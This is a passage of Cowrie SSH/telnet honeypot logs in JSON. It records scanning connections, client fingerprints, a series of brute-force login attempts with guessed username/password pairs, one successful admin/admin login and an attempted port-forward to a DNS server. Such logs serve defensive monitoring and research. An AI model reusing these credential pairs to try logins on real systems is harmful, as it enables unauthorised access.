kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:51.712006Z","src_ip":"103.27.238.114","session":"678ad0890c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snezhana","message":"login attempt [root/snezhana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:52.510635Z","src_ip":"103.27.238.114","session":"678ad0890c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:53.778451Z","src_ip":"103.27.238.114","session":"678ad0890c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55272,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5adf484be9a","protocol":"telnet","message":"New connection: 170.64.224.25:55272 (159.203.135.109:23) [session: c5adf484be9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:54.167099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:57.172954Z","src_ip":"172.190.216.105","session":"aa48567baaad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.6","message":"Connection lost after 20.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:57.176412Z","src_ip":"172.190.216.105","session":"aa48567baaad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.823392391204834,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:25:02.363220Z","src_ip":"170.64.224.25","session":"c1605be89ebd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27819299697876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:25:12.975354Z","src_ip":"165.22.101.210","session":"51a48e0ec6ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.7074818611145,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:25:16.179130Z","src_ip":"170.64.224.25","session":"bddc49756e5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":55672,"dst_ip":"159.203.135.109","dst_port":23,"session":"bedf175f511c","protocol":"telnet","message":"New connection: 183.91.11.226:55672 (159.203.135.109:23) [session: bedf175f511c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:25:18.885477Z"}
{"eventid":"cowrie.session.closed","duration":53.87631416320801,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:25:26.069761Z","src_ip":"170.64.224.25","session":"b8ead0f209ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.84.96","src_port":40716,"dst_ip":"159.203.135.109","dst_port":22,"session":"132f6b2cf807","protocol":"ssh","message":"New connection: 159.65.84.96:40716 (159.203.135.109:22) [session: 132f6b2cf807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:25:28.348728Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:25:28.434527Z","src_ip":"159.65.84.96","session":"132f6b2cf807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.43682932853699,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:25:33.603809Z","src_ip":"170.64.224.25","session":"c5adf484be9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":54212,"dst_ip":"10.17.0.5","dst_port":22,"session":"419ca95a62aa","protocol":"ssh","message":"New connection: 173.236.141.65:54212 (10.17.0.5:22) [session: 419ca95a62aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:04.968221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:04.976028Z","src_ip":"173.236.141.65","session":"419ca95a62aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:04.988110Z","src_ip":"173.236.141.65","session":"419ca95a62aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gamefi123","password":"gamefi123","message":"login attempt [gamefi123/gamefi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:05.026361Z","src_ip":"173.236.141.65","session":"419ca95a62aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:06.041023Z","src_ip":"173.236.141.65","session":"419ca95a62aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":50112,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f38eca8d1a5","protocol":"ssh","message":"New connection: 91.92.40.4:50112 (10.17.0.5:22) [session: 3f38eca8d1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:16.088930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:16.096766Z","src_ip":"91.92.40.4","session":"3f38eca8d1a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:16.179486Z","src_ip":"91.92.40.4","session":"3f38eca8d1a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1q2w3e4r","message":"login attempt [postgres/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:16.430696Z","src_ip":"91.92.40.4","session":"3f38eca8d1a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172567367554,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:17.038477Z","src_ip":"170.64.224.25","session":"b3228e08ed93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:17.514005Z","src_ip":"91.92.40.4","session":"3f38eca8d1a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49924,"dst_ip":"159.203.135.109","dst_port":23,"session":"67fdbf05ff89","protocol":"telnet","message":"New connection: 107.6.151.170:49924 (159.203.135.109:23) [session: 67fdbf05ff89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:22.156096Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49726,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8b9747e9ab1","protocol":"telnet","message":"New connection: 170.64.224.25:49726 (159.203.135.109:23) [session: c8b9747e9ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:49.079191Z"}
{"eventid":"cowrie.session.closed","duration":31.414027452468872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:26:53.569993Z","src_ip":"107.6.151.170","session":"67fdbf05ff89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01955676078796,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:18.904847Z","src_ip":"183.91.11.226","session":"bedf175f511c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":57600,"dst_ip":"10.17.0.5","dst_port":22,"session":"a704ee6defb5","protocol":"ssh","message":"New connection: 87.251.79.125:57600 (10.17.0.5:22) [session: a704ee6defb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:27.312346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:27.317540Z","src_ip":"87.251.79.125","session":"a704ee6defb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:27.388822Z","src_ip":"87.251.79.125","session":"a704ee6defb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alladin","message":"login attempt [root/alladin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:27.605480Z","src_ip":"87.251.79.125","session":"a704ee6defb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:28.680737Z","src_ip":"87.251.79.125","session":"a704ee6defb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.50541853904724,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:42.584466Z","src_ip":"170.64.224.25","session":"c8b9747e9ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":36392,"dst_ip":"159.203.135.109","dst_port":22,"session":"437e1b8758fc","protocol":"ssh","message":"New connection: 176.53.159.196:36392 (159.203.135.109:22) [session: 437e1b8758fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:48.753864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:48.757570Z","src_ip":"176.53.159.196","session":"437e1b8758fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:48.852964Z","src_ip":"176.53.159.196","session":"437e1b8758fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:49.141358Z","src_ip":"176.53.159.196","session":"437e1b8758fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:49.241384Z","session":"437e1b8758fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:49.339090Z","src_ip":"176.53.159.196","session":"437e1b8758fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:49.439682Z","src_ip":"176.53.159.196","session":"437e1b8758fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.47.171","src_port":33540,"dst_ip":"10.17.0.5","dst_port":22,"session":"709a5cabdb89","protocol":"ssh","message":"New connection: 102.223.47.171:33540 (10.17.0.5:22) [session: 709a5cabdb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:50.410508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:50.414942Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:50.641837Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:41:bb:ba:41:95:27:b0:d5:96:8b:b0:9d:a1:da:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLXtfepJIGBECvR2SUPCMISzfXvLLOMcqLwUoA0fZDi1AlfjIZBjF2VyJmnnVGZrp7YeGpyDzpUmObOl8sfOGJdz453dfJuRQUAFEyU9IBJq8zg2mePOpzQayDueK+eH6TYZxxKfT+fFGdvWMI/ieR4eqomlcfsqqMtOj3An3MrpUQlNZH1FT2YCVGU/YF3HVXESFXaFBmtTHzF+AACcI/c9ZIAp9cbxfenY3cBjXQW/9rd87k5Z6EaKxoRe1OlO2FRFr5QCDtLiCnb7E1Vs7p4aXQDvzZZNcyYRNVa9WHNJ6Swuk9kx+Kp/ST/IMp0G/hrYlU2dl1Jbpyxx6eMeH5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:41:bb:ba:41:95:27:b0:d5:96:8b:b0:9d:a1:da:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:51.741956Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:41:bb:ba:41:95:27:b0:d5:96:8b:b0:9d:a1:da:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLXtfepJIGBECvR2SUPCMISzfXvLLOMcqLwUoA0fZDi1AlfjIZBjF2VyJmnnVGZrp7YeGpyDzpUmObOl8sfOGJdz453dfJuRQUAFEyU9IBJq8zg2mePOpzQayDueK+eH6TYZxxKfT+fFGdvWMI/ieR4eqomlcfsqqMtOj3An3MrpUQlNZH1FT2YCVGU/YF3HVXESFXaFBmtTHzF+AACcI/c9ZIAp9cbxfenY3cBjXQW/9rd87k5Z6EaKxoRe1OlO2FRFr5QCDtLiCnb7E1Vs7p4aXQDvzZZNcyYRNVa9WHNJ6Swuk9kx+Kp/ST/IMp0G/hrYlU2dl1Jbpyxx6eMeH5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:27:51.745098Z","src_ip":"102.223.47.171","session":"709a5cabdb89","protocol":"ssh"}
